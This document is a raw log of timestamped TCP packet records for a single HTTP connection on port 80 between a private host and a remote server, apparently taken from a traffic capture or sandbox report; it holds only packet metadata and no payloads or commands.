Oct 3, 2024 23:17:10.653208017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653223038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653234005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653249025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653254986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653264999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653266907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653284073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653287888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653301001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653320074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655518055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655541897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655559063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655570030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655575037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655577898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655594110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655599117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655613899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655618906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655627012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655637026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655657053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655661106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655677080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655684948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655695915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655699968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655718088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655720949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655740023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655745983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655746937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655772924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655781031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655788898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655810118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655813932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655822039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655843019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655848026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655860901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655874968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655888081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655894995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655894995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655914068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655916929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655926943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655930996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655947924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655956030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655965090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.655970097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655985117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.655988932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.656002998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.656035900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.670835972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.670852900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.670869112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.670919895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.670943022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.670983076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671000004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671015978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671024084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671032906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671039104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671050072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671051979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671063900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671067953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671083927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671097994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671103954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671106100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671118975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671123981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671142101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671142101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671159029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671180964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671225071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671241045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671256065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.671267986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671278000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.671297073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.683573961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.683593035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.683607101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.683640957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.683655024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.683686972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.683723927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.683880091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.683902025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.683917999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.683923006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.683934927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.683954000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.684056997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.684076071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.684093952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.684099913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.684106112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.684111118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.684132099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.684139967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.684608936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.684624910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.684639931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.684662104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.684678078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.725419998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.725518942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.725785017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.725835085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.725986004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726003885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726018906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726033926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726036072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726051092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726056099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726068020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726068974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726083994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726098061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726100922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726119041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726124048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726135969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726136923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726150036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726171970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726481915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726500034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726531029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726542950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726651907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726667881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726682901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726696968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726710081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726710081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726713896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726726055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726732016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.726738930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726757050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.726763964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.727014065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.727045059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.727061987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.727066994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.727087021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.727096081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742052078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742075920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742105007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742121935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742129087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742140055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742151022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742166996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742175102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742180109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742183924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742201090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742203951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742213964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742218018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742233038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742250919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742259026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742295980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742311954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742330074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742346048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742350101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742358923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742372990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742377043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742408991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742464066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742510080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742567062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742583036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742599010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742609978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742614985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742619991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742631912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742652893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742662907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742675066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742692947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742846966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742866039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742881060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742891073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742898941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742902994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742918015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742922068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742933989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742933989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742948055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742952108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.742973089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.742980003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743195057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743211031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743226051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743240118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743244886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743257999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743264914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743274927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743284941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743292093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743304968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743309021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743314028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743335009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743344069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743519068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743535042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743562937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743585110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743671894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743688107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743702888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743716955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743721962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743725061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743743896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743752956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743756056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743773937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743791103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743793011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743805885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.743807077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743829012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.743837118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746105909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746123075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746138096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746160984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746180058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746221066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746244907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746265888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746274948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746287107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746290922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746305943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746316910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746328115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746351004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746419907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746436119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746452093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746465921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746465921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746484995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746490002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746511936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746531963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746644020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746660948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746675014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746687889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746697903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746716976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746798038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746814013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746829987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746845007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746845961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746855021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746864080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.746872902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746886015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.746902943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.747026920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.747045040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.747070074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.747090101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761332989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761357069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761373997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761398077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761410952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761523962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761539936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761555910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761568069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761579037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761586905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761595964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761599064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761607885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761615992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761643887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761650085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761656046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761667967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761682987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761687994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761699915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761706114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761717081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761735916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761898041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761914015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761929035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.761940002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761950970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.761961937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776592016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776611090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776626110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776639938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776650906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776665926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776686907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.776689053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.776714087 CEST	80	49710	193.233.112.44	192.168.2.5
